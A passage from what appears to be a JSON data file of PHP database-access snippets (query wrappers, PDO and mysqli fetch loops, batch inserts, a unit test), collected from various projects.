---->\n $selectModifier = $this->selectModifier;\n $this->selectModifier = \"\";\n $row;\n switch($selectModifier){\n case \"first\":\n $numRows = mysqli_num_rows($queryObject);\n if($numRows == 0){\n throw new ZeroException(\"No data found.\");\n }\n break;\n \n case \"firstOrNull\":\n $numRows = mysqli_num_rows($queryObject);\n if($numRows == 0){\n return NULL;\n }\n break;\n\n case \"single\":\n $numRows = mysqli_num_rows($queryObject);\n if($numRows == 0){\n throw new ZeroException(\"No data found.\");\n }\n if($numRows > 1){\n throw new ZeroException(\"Multiple records found.\");\n }\n break;\n\n case \"singleOrNull\":\n $numRows = mysqli_num_rows($queryObject);\n if($numRows == 0){\n return NULL;\n }\n if($numRows > 1){\n return NULL;\n }\n break;\n }\n\n return $this->_prepareSingleRecord($queryObject);\n //<---- select modifier (first, firstOrDefault, single, singleOrDefault) found *212*062#\n }\n }",
"private function executeMultiResultQuery($query){\n\t\t// Perform Query\n\t\t$result = mysql_query($query);\n\t\t\n\t\t$rows = array();\n\t\t\n\t\twhile($row = mysql_fetch_assoc($result)) {\n\t\t\t$rows[] = $row;\n\t\t}\n\t\t\n\t\t// Free the resources associated with the result set\n\t\tmysql_free_result($result);\t\n\t\n\t\treturn json_encode($rows);\n\t}",
"public function batchExecute() {\n\n }",
"public function multiQuery($query) {\n $this->query($query);\n }",
"public function fetchAll(){\n $adapter = $this->adapter;\n $sql = new Sql($this->adapter);\n $select = $sql->select();\n $select->from('flota');\n $selectString = $sql->getSqlStringForSqlObject($select);\n $data = $adapter->query($selectString, $adapter::QUERY_MODE_EXECUTE);\n \n return $data;\n }",
"function query($sql,$calculateRows=false,$fastHint=false);",
"public function executeSelect($sql, $params = []) {\n\n try {\n $this->stmt = $this->pdo->prepare($sql);\n $this->stmt->execute($params);\n\n } catch (\\PDOException $e) {\n die($e->getMessage());\n }\n\n $result = null;\n if($this->stmt->rowCount()) {\n\n $result = [];\n for($i = 0; $i < $this->stmt->rowCount(); $i++) {\n $result[$i] = $this->stmt->fetch(\\PDO::FETCH_ASSOC);\n }\n }\n\n return $result;\n }",
"protected function runSelect()\n {\n return $this->connection->select($this->toCypher(), $this->getBindings());\n }",
"public function fetchAll($sql, $params = array());",
"public function executeSelect($sql) {\r\n\r\n $res = mysql_query($sql);\r\n $this->response = $res;\r\n\r\n return $this->resultToArray($res);\r\n\r\n }",
"private function query()\n {\n $lStart = microtime(true);\n\n //arguments should be query (with placeholders) followed by an array of key-value pairs\n $args = func_get_args();\n $args = array_shift($args);\n $query = array_shift($args);\n $params = $args ? array_shift($args) : [];\n\n $sth = $this->pdo->prepare($query);\n if (!$sth) {\n //prepare failed\n $this->handlePrepareError($sth, $query, $params);\n }\n\n //explicitly bind parameters as int/string so IN() doens't get quoted\n foreach ($params as $key => $value) {\n if (is_numeric($value)) {\n $sth->bindValue($key, $value, PDO::PARAM_INT);\n } elseif (is_bool($value)) {\n $sth->bindValue($key, $value, PDO::PARAM_BOOL);\n } elseif (is_null($value)) {\n $sth->bindValue($key, $value, PDO::PARAM_NULL);\n } else {\n $sth->bindValue($key, $value, PDO::PARAM_STR);\n }\n }\n\n //query invalid\n if(!$sth->execute()) {\n $this->handleExecuteError($sth, $query, $params);\n }\n $this->queryTimer += microtime(true) - $lStart;\n $this->queryCount++;\n\n $query = preg_replace('/^\\s+/', '', $query);\n if(str_starts_with(strtolower($query), 'select')) {\n //return results for SELECT\n return $sth;\n\n } elseif(str_starts_with(strtolower($query), 'insert')) {\n //return insert id for INSERT\n $id = $this->pdo->lastInsertId();\n return ($id ?: true);\n\n } else {\n //return TRUE for DELETE, UPDATE\n //NB: don't return affected rows for UPDATE since 0 affected will be interpreted as query failed)\n return true;\n }\n }",
"function execute($sql)\n\t{\n\t\t$q = pg_query($sql) or die('Query failed: ' . pg_last_error());\n\t\t$rows = array();\n\t\twhile($r = pg_fetch_array($q, null, PGSQL_ASSOC))\n\t\t{\n\t\t\tarray_push($rows, $r);\n\t\t}\n\t\tpg_free_result($q);\n\n\t\treturn $rows;\n\t}",
"protected function executeQuery() {\n return array();\n }",
"function pp_run_query($query_set)\n{\n global $debug;\n $sql_exeq_words = array(\"CREATE\", \"UPDATE\", \"INSERT\", \"DELETE\");\n $d = getDBLink();\n if (!is_array($query_set)) {\n if (in_array(substr($query_set,0,6), $sql_exeq_words)) {\n $res = $d->ExecuteSQL($query_set);\n } else {\n $res = $d->FetchAll($query_set, null);\n }\n } else {\n $format_str = '';\n $params = array($query_set[0]);\n foreach($query_set[1] as $p) $format_str .= $p[0];\n if ($format_str != \"\") {\n $params[] = $format_str;\n }\n foreach($query_set[1] as $p) $params[] = $p[1];\n if(in_array(substr($query_set[0],0,6), $sql_exeq_words)) $func='ExecuteSQL';\n else {\n $func='FetchAll';\n }\n $res = call_user_func_array(array($d, $func), $params);\n }\n return $res;\n}",
"abstract public function prepareSelect();",
"public function fetchAll($statement, array $params = array());",
"protected function execute_single_query(){\n\t\t$this -> open_connection();\n\t\t$this -> conn -> query($this -> query);\n\t\t$this -> close_connection();\n\t}",
"abstract protected function doFetchAll();",
"private function Query($type, $para_array, &$result_array){\r\n\t\tmysqli_autocommit($this->m_db_con, FALSE);\r\n\t foreach($para_array as $para){\r\n\t $sql = $this->GenSql($type, $para);\r\n\t $result = $this->m_db_con->query($sql);\r\n\t if($result == false){\r\n\t mysqli_rollback($this->m_db_con);\r\n\t throw new Exception(\"QUERY FAILED:\" .$sql . $this->m_db_con->error);\r\n\t }\r\n\t\t\tif($type === 'SELECT'){\r\n\t\t\t\twhile($array_data = mysqli_fetch_array($result, MYSQLI_ASSOC)){\r\n\t\t\t\t\tarray_push($result_array, $array_data);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t }\r\n\t mysqli_commit($this->m_db_con);\r\n\t}",
"function queryDB($db, $query, $params) {\r\n // Silex will catch the exception\r\n $stmt = $db->prepare($query);\r\n $results = $stmt->execute($params);\r\n $selectpos = stripos($query, \"select\");\r\n if (($selectpos !== false) && ($selectpos < 6)) {\r\n $results = $stmt->fetchAll();\r\n }\r\n return $results;\r\n}",
"private function preExe(){\n\t\t$pre = $this->prepare($this->_query);\n\t\t$pre->execute();\n\t\treturn $pre->fetchAll();\n\t}",
"function selectMultipleRows($dbConnection, $sql) {\n \n\t// This line uses the builtin function mysqli_query\n\t// to get whatever we've specified in the $sql variable.\n \n\t$selectedRows = mysqli_query($dbConnection, $sql);\n \n\t// This is in case we get an error instead of a result:\n\tif(mysqli_errno($dbConnection)) \n\t{\n\t\techo \"There was an error in selectMultipleRows! Here is a var_dump of it:<br />\";\n\t\tvar_dump(mysqli_connect_error());\n\t}\n \n\t// We need to do a bit of processing to make a nice array out of\n\t// the results. So this next part creates an empty array, then populates\n\t// it with each row of our results\n \n\t$resultsArray = array();\n \n\twhile ($row = mysqli_fetch_assoc($selectedRows)) {\n\t\t$resultsArray[] = $row;\t\n\t}\n\t\n\t// And then return the finished array:\n\treturn $resultsArray;\n}",
"public function executeSelect(DBConnection $conn, Peer $peer, $jp= null, $buffered= true);",
"protected function prepareSelectStatement() {}",
"public function select() \n {\n $this->select->execute();\n\n if ($this->select->errorCode() != 0) \n {\n print_r($this->select->errorInfo());\n }\n\n return $this->select->fetchAll();\n }",
"public function selectMany($sql, $options = array()) {\n if (($req = $this->execute($sql, $options)) === false)\n return false;\n\n $data = array();\n\n if (in_array(DB_NUM, $options))\n $mysqlFetchCmd = 'mysql_fetch_row';\n else\n $mysqlFetchCmd = 'mysql_fetch_assoc';\n\n while ($row = $mysqlFetchCmd($req))\n $data[] = $row;\n\n return $data;\n }",
"public function queryIterator($sql,$params=array());",
"private static function sql_result($arr, $settings, $db_conn = null)\n {\n if (!$db_conn) {\n $db_conn = self::getDB();\n }\n\n if (self::in_transaction()) {\n $db_conn = self::getMasterDB();\n $silent = true;\n }\n\n if (!$db_conn) {\n throw new \\Sky\\AQL\\ConnectionException(\n 'Cannot Execute AQL without a db connection'\n );\n }\n\n $object = $settings['object'];\n $aql_statement = $settings['aql_statement'];\n $sub_do_set = $settings['sub_do_set'];\n $select_type = ($settings['select_type']) ?: 'sql';\n\n $rs = array();\n $microtime_start = microtime(true);\n $r = $db_conn->Execute($arr[$select_type]);\n if (class_exists('hwc_debug')) {\n hwc_debug::add_aql($arr[$select_type], number_format(microtime(true) - $microtime_start, 3));\n }\n\n if ($r === false) {\n\n $e = new \\Sky\\AQL\\SelectException(\n $aql_statement,\n $arr[$select_type],\n $db_conn->ErrorMsg()\n );\n\n if (!$silent) {\n throw $e;\n } else {\n aql::$errors[] = $e;\n }\n\n return $rs;\n }\n\n while (!$r->EOF) {\n\n $tmp = self::generate_ides($r->GetRowAssoc(false));\n\n $placeholder = null;\n $get_placeholder = function ($m) use ($tmp, &$placeholder) {\n return $placeholder = $tmp[$m[1]];\n };\n\n $replace_placeholder = function ($clause) use ($get_placeholder) {\n return preg_replace_callback(\n '/\\{\\$([\\w.]+)\\}/',\n $get_placeholder,\n $clause\n );\n };\n\n if ($arr['subs']) {\n\n foreach ($arr['subs'] as $k => $s) {\n\n $s['sql'] = $replace_placeholder($s['sql']);\n\n if ($placeholder) {\n $params = array(\n 'object' => $object,\n );\n\n $tmp[$k] = self::sql_result($s, $params, $db_conn);\n }\n\n }\n }\n\n $placeholder = '';\n if ($arr['objects']) {\n foreach ($arr['objects'] as $k => $s) {\n\n $m = $s['model'];\n if ($s['plural'] && $s['sub_where']) {\n\n $clauses = self::get_clauses_from_model($m);\n $min_aql = self::get_min_aql_from_model($m);\n $clauses['where'][] = $replace_placeholder($s['sub_where']);\n\n $query = aql::select(\n $min_aql,\n $clauses,\n null,\n null,\n $sub_do_set,\n $db_conn\n );\n\n if ($query) {\n // new getRecords method\n $ca = $s['constructor argument'];\n $p = new $m();\n $arr = array('ids' => array_map(function ($a) use ($ca) {\n return $a[$ca];\n }, $query));\n foreach ($p->getRecords($arr) as $row) {\n $tmp[$k][]['_data'] = $row;\n }\n // old query loop method\n /* foreach ($query as $row) {\n $arg = $row[$s['constructor argument']];\n $o = Model::get($m, $arg, $sub_do_set);\n $tmp[$k][] = ($object) ? $o : $o->dataToArray();\n }*/\n }\n } else if (!$s['plural']) {\n $arg = (int)$tmp[$s['constructor argument']];\n if ($arg) {\n $o = Model::get($m, $arg, $sub_do_set);\n $tmp[$k] = ($object) ? $o : $o->dataToArray();\n }\n }\n }\n }\n\n if ($object && $aql_statement) {\n\n $tmp_model = ($object === true)\n ? new Model(null, $aql_statement)\n : Model::get($object);\n\n $tmp_model->loadArray($tmp);\n $tmp_model->_token = $tmp_model->getToken();\n\n $tmp = $tmp_model;\n }\n\n $rs[] = $tmp;\n\n $r->moveNext();\n }\n\n return $rs;\n }",
"function run_select($sql, $params, $task, $calling_function) {\n $stmt = $this->db_connection->prepare($sql);\n $output = null;\n\n try {\n if ($params != null) {\n $stmt->execute($params);\n }\n else {\n $stmt->execute();\n }\n\n if ($task == \"fetch_column\") {\n $output = $stmt->fetchColumn();\n }\n else if ($task == \"fetch_all\") {\n $output = $stmt->fetchAll();\n }\n }\n catch(PDOException $e) {\n echo(\"PDO error from $calling_function:<br/>\" . $e->getMessage());\n }\n\n $stmt = null;\n return $output;\n }",
"private function transfer_data()\n\t{\n\t\t$num_rows = db::select_one(\"select count(*) from {$this->table}\");\n\t\t\n\t\tfor ($i = 0; $i < $num_rows; $i += BATCH_SIZE)\n\t\t{\n\t\t\techo \"$i / $num_rows (select {$this->before_alter_select_query} from {$this->table})\\n\";\n\t\t\t$r = mysql_query(\"select {$this->before_alter_select_query} from {$this->table} limit $i, \".BATCH_SIZE);\n\t\t\twhile ($d = mysql_fetch_assoc($r))\n\t\t\t{\n\t\t\t\tif ($this->renamed_cols)\n\t\t\t\t{\n\t\t\t\t\tforeach ($this->renamed_cols as $before_key => $after_key)\n\t\t\t\t\t{\n\t\t\t\t\t\t$d[$after_key] = $d[$before_key];\n\t\t\t\t\t\tunset($d[$before_key]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tdb::insert($this->temp_table, $d);\n\t\t\t}\n\t\t}\n\t}",
"protected function execute_single_query() \n\t\t{\n \t\t\t$this->open_connection();\n \t\t\t$this->conn->query($this->query);\n \t\t\t$this->close_connection();\n\t\t}",
"public function getSqlResults() \n\t{\n\t\t$array = $this->getSqlStatments();\n\t\tfor ($i=0; $i < count($array); $i++) {\n\t\t\t$q = $this->connection->prepare($array[$i]);\n\t\t\t$q->execute();\n\t\t\t$r = $q->fetchAll(\\PDO::FETCH_ASSOC);\n\t\t\t$this->sql_query_results[] = $r;\n\t\t}\n\t\treturn $this->sql_query_results;\n\t}",
"function _execQ($query, $param_strs, $params){\n $db = MySQLConnect::get_instance();\n $res = $db->prepare($query);\n \t array_unshift($params, $param_strs);\n call_user_func_array(array($res, 'bind_param'), $params);\n $bool = $res->execute();\n $sonuclar = $res->get_result();\n $rows = $sonuclar->fetch_all(MYSQLI_ASSOC);\n return $rows;\n }",
"public function select();",
"public function select();",
"public function select();",
"function insertManyAndExecute ($table_into, array $records = array(), $chunk_size = 1)\n\t{\t\t\n\t\tif (empty($table_into))\n\t\t\tthrow new Exception(\"Table not specified in call to 'insertManyAndExecute'.\");\n\t\t\n\t\tif (count($records) == 0)\n\t\t\treturn false;\n\t\t\t\n\t\tif ($chunk_size < 1)\n\t\t\treturn false;\n\t\t\t\n\t\t// Get the columns list\n\t\tforeach ($records[0] as $column => $value)\n\t\t\t$columns_list[] = \"$column\";\n\t\t$columns_string = implode(', ', $columns_list);\n\t\t\n\t\t$into = \"$table_into ($columns_string)\";\n\t\t$index = 1;\n\t\t$first_chunk = true;\n\t\t$to_bind = array();\n\t\t$record_count = count($records);\n\t\t\n\t\t// Execute all the queries using this prepared statement\n\t\t$row_of_chunk = 1;\n\t\tforeach ($records as $record) {\n\t\t\tif ($first_chunk) {\n\t\t\t\t// Prepare statement from first query\n\t\t\t\t$values_list = array();\n\t\t\t\tforeach ($record as $column => $value) {\n\t\t\t\t\tif ($value instanceof Db_Expression) {\n\t\t\t\t\t\t$values_list[] = \"$value\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$values_list[] = \":$column\" . $row_of_chunk;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$values_string = implode(', ', $values_list);\n\t\t\t\tif ($index == 1) {\n\t\t\t\t\t$q = \"INSERT INTO $into VALUES ($values_string) \";\n\t\t\t\t} else {\n\t\t\t\t\t$q .= \"\\n\\t ($values_string) \";\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tforeach ($record as $column => $value)\n\t\t\t\t$to_bind[$column . $row_of_chunk] = $value;\n\t\t\t\t\n\t\t\t++$row_of_chunk;\n\t\t\tif ($row_of_chunk % $chunk_size == 1\n\t\t\tor $index == $record_count) {\n\t\t\t\tif ($first_chunk) {\n\t\t\t\t\t$q .= ';';\n\t\t\t\t\t$this->pdoConnect();\n\t\t\t\t\t$stmt = $this->pdo->prepare($q);\n\t\t\t\t\t$first_chunk = false;\n\t\t\t\t}\n\t\t\t\tforeach ($to_bind as $key => $value) {\n\t\t\t\t\t$stmt->bindValue($key, $value);\n\t\t\t\t}\n\t\t\t\t$stmt->execute();\n\t\t\t\t$to_bind = array();\n\t\t\t\t$row_of_chunk = 1;\n\t\t\t}\n\t\t\t++$index;\n\t\t}\n\t}",
"private function _selMultipleRowCustom($sql)\n\t{\n\t\tglobal $con;\n $query=mysqli_query($con,$sql);\n\t\t\n\t\t$result=array();\n\t\twhile($res=mysqli_fetch_object($query))\n\t\t{\n\t\t\t$result[]=$res;\n }\n mysqli_free_result($query);\n if(mysqli_more_results($con))\n {\n mysqli_next_result($con);\n }\n\t\t\n\t\tif(!empty($result))\n\t\t{\n\t\t\treturn $result;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn;\n\t\t}\n\t}",
"public static function execute()\n {\n if(DEBUG_QUERIES)\n {\n $start = microtime();\n }\n $r = self::$stmt->execute();\n if(DEBUG_QUERIES)\n {\n $elapsed = round(microtime() - $start, 4);\n isset(Core::$benchmark['db']['count']) ? Core::$benchmark['db']['count']++ : Core::$benchmark['db']['count'] = 1;\n isset(Core::$benchmark['db']['elapsed']) ? (Core::$benchmark['db']['elapsed']+$elapsed) : Core::$benchmark['db']['elapsed'] = $elapsed;\n }\n if(self::$stmt->errorCode() !== '00000')\n {\n trigger_error(json_encode(self::$stmt->errorInfo()));\n }\n return $r;\n }",
"public function SqlMultiExecute($argSqlArray)\r\n {\r\n $this->checkDatabaseManager();\r\n // ALWAYS USE TRANSACTION!!!\r\n \r\n // set autocommit to off\r\n $this->_DatabaseHandler->autocommit(FALSE);\r\n \r\n // iterrate through all the sql queries\r\n foreach ($argSqlArray as $argSql)\r\n {\r\n $this->_TotalQueries++;\r\n $this->_LastQuery = $argSql;\r\n $startTime = microtime(true); \r\n // Execute the query and check for errors\r\n if ($this->_DatabaseHandler->query($argSql) !== TRUE) \r\n {\r\n $errorMessage = $this->GetErrorMessage();\r\n $errorCode = $this->GetErrorCode();\r\n // rollback the transaction\r\n $this->_DatabaseHandler->rollback();\r\n // set autocommit to on\r\n $this->_DatabaseHandler->autocommit(TRUE);\r\n $this->_LastQueryElapsedTime = microtime(true) - $startTime;\r\n $this->_TotalExecutionTime += $this->_LastQueryElapsedTime;\r\n // throw the exception\r\n throw new \\Mangetsu\\Library\\Database\\DatabaseException(\"Error on query!\", $errorCode, $errorMessage, $argSql);\r\n }\r\n $this->_LastQueryElapsedTime = microtime(true) - $startTime;\r\n $this->_TotalExecutionTime += $this->_LastQueryElapsedTime;\r\n }\r\n // if we got here without an exception, everything went according to plan\r\n // commit transaction\r\n $this->_DatabaseHandler->commit();\r\n \r\n // set autocommit to on\r\n $this->_DatabaseHandler->autocommit(TRUE); \r\n }",
"function query_statements($q) {\r\n\t\textract($q);\r\n\t\tlist($resource_ids, $rule_values) = query_result($q);\r\n\t\tfor($i=0;$i<count($resource_ids);$i++) {\r\n\t\t\t$items[] = array('item_id'=>$resource_ids[$i], 'notes'=>get_notes($resource_ids[$i],$db));\r\n\t\t}\r\n\t\treturn $items;\r\n\t}",
"function getMany($query, array $binds = [], $conn)\n{\n $statement = $conn->prepare($query);\n foreach($binds as $key => $value) {\n $statement->bindValue($key, $value);\n }\n $statement->execute();\n $results = $statement->fetchAll();\n $statement->closeCursor();\n return $results;\n}",
"public function testMultipleResultQuery() {\r\n $records = [\r\n ['UUID' => 'uuid1tRMR1', 'bool' => false, 'int' => 10, 'string' => 'testReadMultipleRecords 1'],\r\n ['UUID' => 'uuid1tRMR2', 'bool' => true, 'int' => 20, 'string' => 'testReadMultipleRecords 2'],\r\n ['UUID' => 'uuid1tRMR3', 'bool' => false, 'int' => 30, 'string' => 'testReadMultipleRecords 3']\r\n ];\r\n // Write data to the database\r\n foreach ($records as $record) {\r\n $this->executeQuery('insert into POTEST (UUID, BOOLEAN_VALUE, INT_VALUE, STRING_VALUE) values (\\''.$record['UUID'].'\\','.($record['bool'] ? 1:0).','.$record['int'].', \\''.$record['string'].'\\')');\r\n }\r\n // Read data out and cast it to persistent object\r\n $query = 'select * from POTEST where UUID in (\\'uuid1tRMR1\\',\\'uuid1tRMR2\\',\\'uuid1tRMR3\\')';\r\n $pos = $this->getPersistenceAdapter()->executeMultipleResultQuery($query, 'test_persistence_AbstractPersistenceAdapterTestPersistentObject');\r\n $this->assertEquals(count($records), count($pos), 'Wrong number of database records found.');\r\n for($i = 0; $i < count($pos); $i++) {\r\n $this->assertEquals($records[$i]['UUID'], $pos[$i]->uuid, 'Uuid value from persistent object differs from the UUID value of the database.');\r\n $this->assertEquals($records[$i]['bool'], $pos[$i]->booleanValue, 'Boolean value from persistent object differs from the boolean value of the database.');\r\n $this->assertEquals($records[$i]['int'], $pos[$i]->intValue, 'Integer value from persistent object differs from the int value of the database.');\r\n $this->assertEquals($records[$i]['string'], $pos[$i]->stringValue, 'String value from persistent object differs from the string value of the database.');\r\n }\r\n }",
"public function query()\n {\n $statement = null;\n $args = func_get_args();\n $attempt = 0;\n $retry = false;\n $logger = $this->_config->getSQLLogger();\n\n do {\n /** @noinspection BadExceptionsProcessingInspection */\n try {\n $this->connect();\n\n if ($logger) {\n $logger->startQuery($args[0]);\n }\n\n try {\n $statement = call_user_func_array(\n [\n $this->_conn,\n 'query'\n ], $args\n );\n\n /** @var StatementInterface $statement */\n $statement->setFetchMode(PDO::FETCH_ASSOC);\n } catch (Exception $ex) {\n throw DBALException::driverExceptionDuringQuery($this->_driver, $ex, $args[0]);\n }\n\n if ($logger) {\n $logger->stopQuery();\n }\n } catch (Exception $e) {\n if ($this->validateReconnectAttempt($e, $attempt)) {\n $this->close();\n\n $retry = true;\n\n $attempt++;\n } else {\n throw $e;\n }\n }\n } while ($retry);\n\n return $statement;\n }",
"private function __select() {\n $from_str = $this->getFromStr();\n $field = $this->field_str;\n if (empty($field)) {\n $field = '*';\n }\n $sql = \"SELECT {$field} FROM {$from_str}\";\n if (!empty($this->join_str_list)) {\n $temp = implode(' ', $this->join_str_list);\n $sql .= \" {$temp}\";\n }\n if (!empty($this->where_str)) {\n $sql .= \" WHERE {$this->where_str}\";\n }\n if (!empty($this->group_str)) {\n $sql .= \" GROUP BY {$this->group_str}\";\n }\n if (!empty($this->order_str)) {\n $sql .= \" ORDER BY {$this->order_str}\";\n }\n if (!empty($this->limit_str)) {\n $sql .= \" LIMIT {$this->limit_str}\";\n }\n $list = $this->query($sql);\n return $list;\n }",
"function multiquery ($mysqli, $query){\r\n\t\r\n\t\t$res = $mysqli->query($query);\r\n\t\treturn $res;//Devuelve los resultados de la consulta.\r\n\t\t\r\n}",
"public function execute()\n {\n /* If there's a select limit, capitalize on it */\n if($this->limit) {\n $this->query .= ' LIMIT ' . $this->limit;\n }\n \n /* If executement arguments has values, execute statement with\n the values */\n if(count($this->values) != 0) {\n /* Execute query in prepared format */\n $request = $this->pdo->prepare($this->getQuery());\n \n /* Append values to execute */\n $request->execute($this->values);\n }else if(count($this->values) == 0) {\n /* Run query if values is empty */\n $request = $this->pdo->query($this->getQuery());\n }\n /* Reset values array for next query */\n $this->values = [];\n \n /* If execution action is fetch, return ->fetchAll(); */\n if($this->action == 'fetch') {\n return $request->fetchAll();\n }\n \n /* If execution action is rows, return ->rowCount(); */\n if($this->action == 'rows') {\n return $request->rowCount();\n }\n \n /* Else return self */\n return $this;\n }",
"function pdo_unbuffered_query($sql, $link=NULL, $params=NULL) {\r\n \r\n // find optional $link param\r\n $params = func_get_args();\r\n $link = array_filter($params, \"is_object\");\r\n $link = pdo_handle($link ? reset($link) : NULL);\r\n $link->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);\r\n \r\n // invoke real pdo_query()\r\n $result = call_user_func_array(\"pdo_query\", $params);\r\n\r\n // reset to buffered mode\r\n $link->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);\r\n \r\n // done\r\n return $result;\r\n }",
"public function queryAll(){\n\t\t$sql = 'SELECT * FROM tbl_task';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->getList($sqlQuery);\n\t}",
"public function executeIterator();",
"private function runQuery () {\n\n // Prepare the constructed SQL statement\n if ($this->_query = $this->_pdo->prepare($this->_sql)) {\n\n // Set a counter to one to use when binding\n $x = 1;\n \n // Loop through the binding array\n foreach($this->_bindArray as $param) {\n \n // Run the bindValue function to match the correct value to the correct placing\n $this->_query->bindValue($x, $param);\n\n // Increment the counter\n $x++;\n \n }\n \n // Run the execute function\n $this->execute();\n }\n }",
"public function queryAll()\n {\n $statement = sprintf(\"SELECT %s, %s, %s, %s, %s FROM %s WHERE deleted = 0\",\n static::FIELDS[0], static::FIELDS[1], static::FIELDS[2], static::FIELDS[3], static::FIELDS[4], static::TABLE);\n $req = $this->db->query($statement);\n $response = $req->fetchAll(PDO::FETCH_ASSOC);\n\n return json_encode($response);\n }",
"abstract public function arrQuery($sql);",
"function select($query)\n\t{\n\t\t\n\t\tglobal $connection;\n\t\t$resuts = $connection->query($query);\n\t\treturn $resuts;\n\t}",
"public function query($sqlstr,$paramarray){\n \n $st = $this->exec($sqlstr, $paramarray);\n \n return $st->fetchAll();\n }",
"public function selectRows($fields=array())\n {\n if (!is_array($fields)) {\n throw new DatabaseException(\n \"Fields parameter [$fields] must be an array\"\n );\n }\n try {\n $query = $this->queries->selectRows($fields);\n $stmt = $this->db->prepare($query);\n $binds = $this->row->toBinds($fields);\n $binds = !empty($binds) ? $binds : null;\n $stmt->execute($binds);\n while ($row = $stmt->fetch(\\PDO::FETCH_ASSOC)) {\n yield $row;\n }\n } catch (\\PDOException $ex) {\n throw new DatabaseException($ex->getMessage(), 0, $ex);\n }\n }",
"private function query() {\n return ApplicationSql::query($this->_select, $this->_table, $this->_join, $this->_where, $this->_order, $this->_group, $this->_limit, $this->_offset);\n }",
"public function fetch_multi($s_where=null,$i_start=null,$i_limit=null)\r\n {\r\n \r\n }",
"function query() {\n \n $this->ensure_my_table();\n \n if ($this->options['operator'] == 'in') {\n $keys = array_keys($this->value);\n\n $this->query->add_where(0, $this->table_alias.'.id IN ('. implode(',', $keys).')' );\n }\n\n }",
"function execute_params($sql, $param_array)\n\t{\n\t\t// Using an empty string as stmtname here overwrites any\n\t\t// previous prepared statement making multiple prepares\n\t\t// easily doable\n\t\t$q = pg_prepare($this->connection, '', $sql);\n\t\t$q = pg_execute($this->connection, '', $param_array);\n\t\t$rows = array();\n while($r = pg_fetch_array($q, null, PGSQL_ASSOC))\n {\n array_push($rows, $r);\n }\n\t\tpg_free_result($q);\n\n\t\treturn $rows;\n\t}",
"function &do_query( $sql, $offset, $nrows, $inputarr=false )\n\t{\n\t\tglobal $ADODB_FETCH_MODE;\n\n\t\t$false = false;\n\n\t\tif ($nrows > 0 || $offset > 0) {\n\t\t\t$sql = $this->limitResult($sql, $nrows,$offset);\n\t\t}\n\t\tif(strpos($sql,\"\\\\'\") !== false) $sql = str_replace(\"\\\\'\",\"''\",$sql);//fix for inserts/queries using mysql formated quoted strings\n\t\t\n\t\tif ($inputarr && is_array($inputarr)) {\n\t\t\t$sqlarr = explode('?', $sql);\n\t\t\tif (!is_array(reset($inputarr))) $inputarr = array($inputarr);\n\t\t\tforeach($inputarr as $arr) {\n\t\t\t\t$sql = ''; $i = 0;\n\t\t\t\tforeach($arr as $v) {\n\t\t\t\t\t$sql .= $sqlarr[$i];\n\t\t\t\t\tswitch(gettype($v)){\n\t\t\t\t\t\tcase 'string':\n\t\t\t\t\t\t\t$sql .= $this->qstr($v);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'double':\n\t\t\t\t\t\t\t$sql .= str_replace(',', '.', $v);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'boolean':\n\t\t\t\t\t\t\t$sql .= $v ? 1 : 0;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tif ($v === null)\n\t\t\t\t\t\t\t\t$sql .= 'NULL';\n\t\t\t\t\t\t\telse $sql .= $v;\n\t\t\t\t\t}\n\t\t\t\t\t$i += 1;\n\t\t\t\t}\n\t\t\t\t$sql .= $sqlarr[$i];\n\t\t\t\tif ($i+1 != sizeof($sqlarr))\t\n\t\t\t\t\treturn $false;\n\t\t\t\t$this->sql = $sql;\n\t\t\t\t$time_start = array_sum(explode(' ', microtime()));\n\t\t\t\t$this->query_count++;\n\t\t\t\t$resultId = @sqlsrv_query( $this->connectionId, $this->sql );\n\t\t\t\t$time_total = (array_sum(explode(' ', microtime())) - $time_start);\n\t\t\t\t$this->query_time_total += $time_total;\n\t\t\t\tif($this->debug_console)\n\t\t\t\t{\n\t\t\t\t\t$this->query_list[] = $this->sql;\n\t\t\t\t\t$this->query_list_time[] = $time_total;\n\t\t\t\t\t$this->query_list_errors[] = $this->ErrorMsg();\n\t\t\t\t}\n\t\t\t\tif($this->debug)\n\t\t\t\t{\n\t\t\t\t\t$this->outp($sql);\n\t\t\t\t}\n\t\t\t\tif ($resultId === false) { // error handling if query fails\n\t\t\t\t\tif ($fn = $this->raiseErrorFn)\n\t\t\t\t\t\t$fn($this->dbtype, 'EXECUTE', $this->ErrorNo(), $this->ErrorMsg(), $this->sql, $inputarr, $this);\n\t\t\t\t\treturn $false;\n\t\t\t\t} \n\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\t$this->sql = $sql;\n\t\t\t\t$time_start = array_sum(explode(' ', microtime()));\n\t\t\t\t$this->query_count++;\n\t\t\t\t$resultId = @sqlsrv_query( $this->connectionId, $this->sql );\n\t\t\t\t$time_total = (array_sum(explode(' ', microtime())) - $time_start);\n\t\t\t\t$this->query_time_total += $time_total;\n\t\t\t\tif($this->debug_console)\n\t\t\t\t{\n\t\t\t\t\t$this->query_list[] = $this->sql;\n\t\t\t\t\t$this->query_list_time[] = $time_total;\n\t\t\t\t\t$this->query_list_errors[] = $this->ErrorMsg();\n\t\t\t\t}\n\t\t\t\tif($this->debug)\n\t\t\t\t{\n\t\t\t\t\t$this->outp($sql);\n\t\t\t\t}\n\t\t}\n\n\t\tif ($resultId === false) { // error handling if query fails\n\t\t\tif ($fn = $this->raiseErrorFn)\n\t\t\t\t$fn($this->dbtype, 'EXECUTE', $this->ErrorNo(), $this->ErrorMsg(), $this->sql, $inputarr, $this);\n\t\t\treturn $false;\n\t\t} \n\n\t\tif (stripos($this->sql,'insert') !== false || stripos($this->sql,'update') !== false || stripos($this->sql,'delete') !== false) { // return simplified recordset for inserts/updates/deletes with lower overhead\n\t\t\t$recordset = new ADORecordSet_empty();\n\t\t\treturn $recordset;\n\t\t}\n\n\t\t$resultset_name = $this->last_module_name . 